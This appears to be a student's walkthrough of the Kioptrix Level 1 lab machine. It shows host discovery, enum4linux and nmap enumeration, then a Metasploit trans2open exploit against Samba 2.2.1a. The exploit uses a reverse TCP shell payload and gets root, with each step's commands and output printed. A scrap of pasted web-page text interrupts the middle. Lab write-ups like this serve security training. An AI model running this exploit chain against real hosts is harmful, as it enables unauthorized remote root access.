

Report :solve machine kioptrix level 1

Name : thomas marcos shalapy

First :I install kioptrix at kali linux

Second: we use netdiscover to know live hosts and Enum4linux to know the devices

We get that we have ip of machine is(192.168.17.129)

```
root@kali: /home/kali
File Actions Edit View Help

IP          At MAC Address      Count  Len  MAC Vendor / Hostname
192.168.17.1 00:50:56:c0:00:08    1      60  VMware, Inc.
192.168.17.2 00:50:56:fc:dc:29    1      60  VMware, Inc.
192.168.17.129 00:0c:29:da:5a:29    1      60  VMware, Inc.
192.168.17.254 00:50:56:e4:5d:24    1      60  VMware, Inc.

(root@kali)-[/home/kali]
* enum4linux 192.168.17.129
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Jul 27 00:51:06 2024

===== ( Target Information ) =====

Target ..... 192.168.17.129
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 192.168.17.129 ) =====

[+] Got domain/workgroup name: MYGROUP

===== ( Nbtstat Information for 192.168.17.129 ) =====

Looking up status of 192.168.17.129
KIOPTRIX <00> - B <ACTIVE> Workstation Service
KIOPTRIX <03> - B <ACTIVE> Messenger Service
KIOPTRIX <20> - B <ACTIVE> File Server Service
MSBROWSE <01> - <GROUP> B <ACTIVE> Master Browser
MYGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
MYGROUP <1d> - B <ACTIVE> Master Browser
MYGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections

Computer Name: KIOPTRIX
MAC Address = 00-00-00-00-00-00
```

```
root@kali: /home/kali
File Actions Edit View Help

group:[floppy] rid:[0x00f]
group:[utmp] rid:[0x415]

[+] Getting local group memberships:

[+] Getting domain groups:
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]

[+] Getting domain group memberships:
Group: 'Domain Admins' (RID: 512) has member: Couldn't find group Domain Admins
Group: 'Domain Users' (RID: 513) has member: Couldn't find group Domain Users

===== ( Users on 192.168.17.129 via RID cycling (RIDS: 500-550,1000-1050) ) =====

[+] Found new SID:
S-1-5-21-4157223341-3243572438-1405127623

[+] Enumerating users using SID S-1-5-21-4157223341-3243572438-1405127623 and logon username '', password ''

S-1-5-21-4157223341-3243572438-1405127623-502 KIOPTRIX\unix_group.2147483399 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-503 KIOPTRIX\unix_group.2147483399 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-504 KIOPTRIX\unix_group.2147483400 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-505 KIOPTRIX\unix_group.2147483400 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-506 KIOPTRIX\unix_group.2147483401 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-507 KIOPTRIX\unix_group.2147483401 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-508 KIOPTRIX\unix_group.2147483402 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-509 KIOPTRIX\unix_group.2147483402 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-510 KIOPTRIX\unix_group.2147483403 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-511 KIOPTRIX\unix_group.2147483403 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-512 KIOPTRIX\Domain Admins (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-513 KIOPTRIX\Domain Users (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-514 KIOPTRIX\Domain Guests (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-515 KIOPTRIX\unix_group.2147483405 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-516 KIOPTRIX\unix_group.2147483406 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-517 KIOPTRIX\unix_group.2147483406 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-518 KIOPTRIX\unix_group.2147483407 (Local Group)
```

Using nmap to scan our target and know all information needed to know vulnerabilities

```
root@kali: /home/kali
File Actions Edit View Help
nmap -P -A -T4 192.168.17.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-27 00:54 EDT
Nmap scan report for 192.168.17.129
Host is up (0.0015s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
|_ ssh-hostkey:
| 1024 b8:7a:6c:db:fd:8b:6e:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 bf:8e:5b:81:ed:21:ab:ci:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:0e:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_ sshv1: Server supports SSHv1
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: Test Page for the Apache Web Server on Red Hat Linux
|_ http-methods:
|_ Potentially risky methods: TRACE
111/tcp   open  rpcbind     2 (RPC #100000)
|_ rpcinfo:
|_ program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 32768/tcp status
|_ 100024 1 32770/udp status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
|_ Not valid before: 2009-09-26T09:32:06
|_ Not valid after: 2010-09-26T09:32:06
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ sslv2:
|_ SSLv2 supported
|_ ciphers:
|_ SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
|_ SSL2_DES_64_CBC_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ http-title: 400 Bad Request
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-methods:
|_ Potentially risky methods: TRACE
```

```
root@kali: /home/kali
File Actions Edit View Help
|_ 100024 1 32770/udp status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ ssl-date: 2024-07-26T17:04:36+00:00; -11h58m49s from scanner time.
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
|_ Not valid before: 2009-09-26T09:32:06
|_ Not valid after: 2010-09-26T09:32:06
|_ sslv2:
|_ SSLv2 supported
|_ ciphers:
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
|_ SSL2_DES_64_CBC_WITH_MD5
|_ SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
|_ http-title: 400 Bad Request
32768/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:DA:5A:29 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ clock-skew: -11h58m49s

TRACEROUTE
HOP RTT ADDRESS
1 1.27 ms 192.168.17.129

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.51 seconds

root@kali: /home/kali
```

We get our vulnerability at port 139/tcp setbios-ssn samba smd (workground:mygyoup)

Fifth :using Metasploit to exploit the vulnerability

And search to smb-version—to exploit the vulnerability

```
root@kali: /home/kali

File Actions Edit View Help
+ -- --[ 2433 exploits - 1254 auxiliary - 428 post ]
+ -- --[ 1471 payloads - 47 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search smb_version

Matching Modules

#  Name                               Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/smb/smb_version    .              normal No    SMB Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.17.129  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     139              no        The target port (TCP)
THREADS   1                yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.17.129
RHOSTS => 192.168.17.129
msf6 auxiliary(scanner/smb/smb_version) > exploit

[*] 192.168.17.129:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.17.129:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.17.129: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >
```

Sex step the payload from samba 2.2.1a I search about this vulnerability to get the payloads

History

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

```
1 msf > use exploit/linux/samba/trans2open
2 msf exploit(trans2open) > show targets
3 ...targets...
4 msf exploit(trans2open) > set TARGET <target-id>
5 msf exploit(trans2open) > show options
6 ...show and set options...
7 msf exploit(trans2open) > exploit
```

Hello there 🌟 Do you want to take command of your attack surface? Check out our latest Research rep...

Contact Us

```
root@kali: /home/kali
File Actions Edit View Help
3 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
4 \_ target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce . . .
5 \_ target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce . . .

Interact with a module by name or index. For example info 5, use 5 or use exploit/solaris/samba/trans2open
After interacting with a module you can manually set a TARGET with set TARGET 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce'

msf6 > use exploit/linux/samba/trans2open
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > show options

Module options (exploit/linux/samba/trans2open):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.17.129  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     139              yes       The target port (TCP)

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.17.128  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Samba 2.2.x - Bruteforce

View the full module info with the info, or info -d command.

msf6 exploit(linux/samba/trans2open) > set RHOSTS 192.168.17.129
RHOSTS => 192.168.17.129
msf6 exploit(linux/samba/trans2open) > 
```

I use the exploit exploit/linux/samba/trans2open

And modified our target

Then I set the suitable payload

Set payload generic/shell_reverse_tcp

Set RHOST 192.168.17.129

Set LHOST 192.168.17.128

The run the exploit and the pay load the session is opened 5 - 6 – 7 – 8

After I use command who am I I get root

```
root@kali: /home/kali

File Actions Edit View Help

RHOSTS 192.168.17.129 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)

Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description
---
LHOST 192.168.17.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
--
0 Samba 2.2.x - Bruteforce

View the full module info with the info, or info -d command.

msf6 exploit(linux/samba/trans2open) > exploit

[*] Started reverse TCP handler on 192.168.17.128:4444
[*] 192.168.17.129:139 - Trying return address 0xbffffdfc...
[*] 192.168.17.129:139 - Trying return address 0xbffffcfc...
[*] 192.168.17.129:139 - Trying return address 0xbffffbfc...
[*] 192.168.17.129:139 - Trying return address 0xbffffafc...
[*] 192.168.17.129:139 - Trying return address 0xbffff9fc...
[*] 192.168.17.129:139 - Trying return address 0xbffff8fc...
[*] 192.168.17.129:139 - Trying return address 0xbffff7fc...
[*] 192.168.17.129:139 - Trying return address 0xbffff6fc...
[*] Command shell session 5 opened (192.168.17.128:4444 → 192.168.17.129:32773) at 2024-07-27 01:35:36 -0400

[*] Command shell session 6 opened (192.168.17.128:4444 → 192.168.17.129:32774) at 2024-07-27 01:35:37 -0400
[*] Command shell session 7 opened (192.168.17.128:4444 → 192.168.17.129:32775) at 2024-07-27 01:35:38 -0400
[*] Command shell session 8 opened (192.168.17.128:4444 → 192.168.17.129:32776) at 2024-07-27 01:35:40 -0400

whoami
root
```